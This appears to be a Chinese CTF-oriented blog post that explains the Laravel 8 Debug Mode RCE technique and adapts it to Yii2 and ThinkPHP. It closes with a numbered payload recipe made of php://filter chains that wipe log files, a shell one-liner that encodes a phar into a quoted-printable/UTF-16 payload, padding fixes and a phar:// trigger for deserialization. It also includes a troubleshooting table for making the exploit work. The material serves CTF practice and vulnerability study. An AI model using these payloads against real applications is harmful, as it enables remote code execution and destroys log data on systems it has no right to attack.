Diggid's Blog

Laravel 8 Debug Mode RCE 拓展与踩坑

字数统计: 3.1k阅读时长: 12 min
2021/05/30 Share

前言

这篇文章主要是记录自己在复现以及打比赛过程中碰到Laravel 8 Debug Mode RCE的时候一些坑点。关于该洞的分析这里就不过多赘述了,网上已经有很多文章(包括作者)梳理了流程。这篇文章重点放在一些没提到的坑点来加深理解

几篇分析文章:

原作者

snovving师傅的

Qftm师傅的

首先起因是Laravel 8 Debug Mode RCE主要的利用点是通过file_put_content来清空日志,因此这并不局限与Laravel框架本身,基本带有日志支持以及默认开启日志记录的框架,都可以来利用。在国赛初赛filter和最近春秋杯的easy_filter中,一个是Yii2,一个是TP5.1.x,其漏洞点都是一样的两句代码。

1
2
3
// 以GET方式传入$file
$res = file_get_contents($file);
file_put_contents($file,$res);

日志转phar流程浅析

在整个流程中用到php://filter的三对过滤器

  • convert.base64-encode 和 convert.base64-decode
  • convert.iconv.utf-8.utf-16be 和 convert.iconv.utf-16be.utf-8
  • convert.quoted-printable-encode 和 convert.quoted-printable-decode

首先我们要知道,最基本的phar利用的phar文件需要由正确的stub,即xxx<?php xxx; __HALT_COMPILER();?>,保证这段内容phar扩展才能识别log文件为phar。剩下的就是反序列化的内容以及一些phar自带的特殊字符,剩余的其他垃圾字符可以忽略,但是还有一个点是不能同时出现两次一样的phar文件内容,否则也会报错。

清空log的流程:

1
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/log/202105/30.log

写入phar的最后一步转码

1
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/log/202105/30.log

convert.base64-decode

该过滤器的作用是把不符合 b64 标准的字符给干掉,也就是说,在php进行base64解码时,不符合规范的字符将直接删去。相当于:

1
2
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以我们需要将phar文件内容进行base64-encode。

convert.iconv.utf-16be.utf-8

这一字符编码转换的作用是,将字符转为一些非b64合法字符,最后由b64解码将不合法字符吃掉。**utf-16le的编码特点是将utf-8扩充为双字节,如果本身的utf-8字符就是单字节的,则用\0去填充低字节**,如

1
2
3
4
5
6
7
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
/* Outputs: This is a test. */
?>

所以如果内容不是像上述说的编码格式的话,就会被转成一些垃圾字符(乱码的样子),比如

1
2
3
4
5
echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0X[x2]p\0a\0y\0l\0o\0a\0d\0X[x3]' > /tmp/test.txt
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');"

结果
硛崱payload硛崲payload硛崳#

这样我们再配合base64-decode即可清除其他字符只留下payload。所以在清空log时,convert.iconv.utf-16be.utf-8和convert.base64-decode必须是最后两个,前者转垃圾字符,后者清空

convert.quoted-printable-encode

quoted-printable用法是:

  • 对于所有可打印字符的 ascii 码,除特殊字符等号 = 外,都不改变。
  • 对于 = 和不可打印的 ascii 码以及非 ascii 码的数据的编码方法是:先将每个字节的二进制代码用两个十六进制数字表示,然后在前面再加上一个等号 = 。比如:= 表示为 =3D\0表示为=00

所以其作用是:

  • 在清空log时,先用convert.iconv.utf-8.utf-16be将内容扩充,在用convert.quoted-printable-encode打乱(不改变偶数性),再用convert.iconv.utf-16be.utf-8,这样未经过处理的字符就会都变成垃圾字符,最后base64-decode清空
  • 在写入合法phar文件时,先利用convert.quoted-printable-decode将我们构造好的经过编码的phar文件和未经任何处理的正常字符内容的日志文件区分。这样在后面使用convert.iconv.utf-16be.utf-8时,就能保留我们构造好的phar文件,而将其他内容变成垃圾字符

踩坑 & 报错

了解了各个过滤器的作用之后,接下来分析一下再使用过滤器的过程中一些非预期的坑。这里分析的日志文件不仅局限于Laravel,同样还包括TP和Yii。在清空log文件的过程中没有什么坑,如果出现报错,那就再清空一次即可。下面具体还展开说一下前面提到的几个坑

quoted-printable-decode之坑

坑点:

  • 在解码时,即convert.quoted-printable-decode,不能出现孤立的=(正常应该是ascii字符或者=xx),否则会报错,因此必须保证==3D

可能出现的报错信息

1
stream filter (convert.quoted-printable-decode): invalid byte sequence

invalid byte sequence意思就是不合法的字节序列,出现的原因就是log文件中出现了孤立的=号,这里就要分情况讨论以下了。

  • 以原生的Laravel 8 Debug Mode RCE这个洞来说,其写入log文件的全程,都不会出现多余的=,因为它是通过POST json的形式传入的,而且没有传入多余=,因此不会报错
  • 但是对于以GET方式传入的(开篇的漏洞例子),那么就会传入=,比如?file=xxx

image-20210530133242325

解决办法

既然多出了=,那我们就传入?file=3DAA,那么=就变成合法格式的=3D了。

传payload的时候就把等号去掉:?file[payload]

框架

三个框架:

  • Laravel原生洞:不会出现等号,不需要修正
  • YII2 GET方式传参:视环境而定,最好修正。这个是国赛filter出现的,虽然是GET传参进去了,但是一套打下来并没有报错,也没有修正。但是本地测试的时候是有多余的=号的需要修正的。
  • TP:会出现等号,需要修正

最好的办法是只要是GET传参的都对等号进行修正,不会报错也不会影响payload

convert.iconv.utf-16be.utf-8之坑

坑点:

  • 该过滤器从解码utf-16be转为utf-8必须是双字节对齐的,也就是说,这个日志文件的字节总数必须是偶数,否则会报错。
  • 对于双payload的情况下,如何让第二个payload变成垃圾字符,主要跟两个payload之间的字符数的奇偶性有关

可能出现的报错信息

1
2
3
4
5
# 对应坑点1,在最后转换的时候可能会出现
iconv stream filter ("utf-16be"=>"utf-8"): invalid multibyte sequence

# 对应坑点2,在最后触发phar反序列化的时候可能会出现
SHA1 signature could not be verified: broken signature

原理

看过前面分析文章的话,知道作者需要解决两个问题,这两个问题的根源是laravel下日志文件的结构,但对于其他框架,可能日志结构就不是这样的,其payload可能只出现一次,但对于下面这个结构的分析,同样适用于其他结构

1
[x1_1]payload1[x1_2]payload1[x1_3]

观察一下这个结构,不难发现,就对应着两个问题:

  • 该结构能否保证字节数为偶数
  • 双payload如何解决

大部分文章给出的解决办法是:

  • 先填充无害payload,让日志变为下面的结构,解决问题1
1
2
[x1_1]无害payload1[x1_2]无害payload1[x1_3]
[x2_1]payload2[x2_2]payload2[x2_3]
  • 在payload结尾添加a,使得双payload中间的部分错开一个字节,从而使后面的payload失效
1
payload[axxxxp]ayloada

这样axxxxp就会成对进行utf-16le的解码,后面payload的首字节被破坏了,就不是正常payload的解码方式了。

更稳定的解决方向

1.针对问题1

了解了原理之后,针对一些又非预期的情况,我们就能处理了。

对于解法1,针对不同的框架有个问题

1
2
3
4
5
6
[x1_1]无害payload1[x1_2]无害payload1[x1_3]
[x2_1]payload2[x2_2]payload2[x2_3]

可能出现的不正确的情况:
1偶数 + 2奇数
1奇数 + 2偶数
  • 针对Laravel原生的洞,是不会出现payload1、2一奇一偶的情况的,因为如果原先payload为奇数,那么我们填充无害AA后,必然也是奇数。偶数的情况也是一样
  • 但是对于GET传参的方法,如果原先payload奇数,那么填充任意无害payload写入log后有可能是偶数也有可能是奇数,这里情况比较多,也没必要继续讨论了。

解决办法

无论[x2_1]payload2[x2_2]payload2[x2_3]奇偶性如何,可以通过fuzz,**如果是填充一次无害字符后,最后解码报错,那么就填充两次(必不会报错)**如果第一次没报错,那就不用再填充第二次了。

2.针对问题2

还是跟奇数性有关,如果两个payload之间的其他字符是偶数的话,那就需要在payload末尾填充一个a,如:

1
payload[axxxxp]ayloada

如果两个payload之间的其他字符数本身就是奇数的话,那就不需要了。

还是通过fuzz来确定,最后如果不报错或者payload正常执行了,那就没问题。比赛的时候尽量本地先测试。

convert.base64-decode之坑

坑点:

  • 在base64解码的时候**整个日志文件中间不能出现=**,因为=在base64中相当于填充字节的作用,只能出现在结尾。如果出现=,则base64解码会报错

这个问题在quoted-printable的问题解决之后,就不会有了。

window和linux之坑

坑点在于,**window的换行是\r\n(两字节),linux的换行是\n(单字节)**,可能出现的问题:

window下能打通,linux下不能打通(或者反过来),再具体一点就是,window下最后转换出来是正确的单payload,linux下最后转换出来却是双payload(导致爆SHA1那个错误)

因为在上述问题2中

1
payload[axxxxp]ayloada

两个payload之间,大概率是存在换行的,而win和liunx换行不同,因此就会导致window下中间的垃圾字符是奇数,而liunx下是偶数(或者反过来)。所以在本地测试和打比赛环境的时候需要特别注意

payload总结

1.清空日志(大概率没问题)

1
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/log/202105/30.log

2.填充无害payload凑偶数

视报错决定填充几次

1
?file=3DAA

3.填充真正的payload

先将我们的phar文件按最后转换的编码逆序来生成要填入的payload

1
cat phar.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

base64不换行编码 => 中间加=00(utf-16le.utf-8) => 加=(quoted-printable.decode)

生成的payload,根据最后一步的情况,在尾部添加奇数或偶数的a

1
?file[payload][a(奇 or 偶)]

4.生成phar文件

1
?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/log/202105/30.log

先本地测试,注意window和linux环境,这里可以将过滤器拆分或者会看log文件的内容,来判断是第几个过滤器报错,然后对第2、3相应调整

5.触发phar

1
?file=phar://../runtime/log/202105/30.log

如果没执行成功,大概率是因为出现了双payload的情况,这时需要更改第3步尾部添加的a

最后总结一下坑点:

报错 大概率出现的地方 解决
stream filter (convert.quoted-printable-decode): invalid byte sequence 第4步:convert.quoted-printable-decode时 第2步:?file=3DAA和?file[payload]
iconv stream filter (“utf-16be”=>”utf-8”): invalid multibyte sequence 第4步:convert.iconv.utf-16be.utf-8时 第2步:填充2次
SHA1 signature could not be verified: broken signature 最后一步触发phar时,但原因是convert.iconv.utf-16be.utf-8 第3步:填充正常payload的尾部的a的个数(奇 or 偶)
window打通,但linux打不通 最后一步触发phar时,但原因是convert.iconv.utf-16be.utf-8 第3步:填充正常payload的尾部的a的个数(奇 or 偶)
CATALOG
  1. 1. 前言
  2. 2. 日志转phar流程浅析
    1. 2.1. convert.base64-decode
    2. 2.2. convert.iconv.utf-16be.utf-8
    3. 2.3. convert.quoted-printable-encode
  3. 3. 踩坑 & 报错
    1. 3.1. quoted-printable-decode之坑
    2. 3.2. convert.iconv.utf-16be.utf-8之坑
      1. 3.2.1. 更稳定的解决方向
    3. 3.3. convert.base64-decode之坑
    4. 3.4. window和linux之坑
  4. 4. payload总结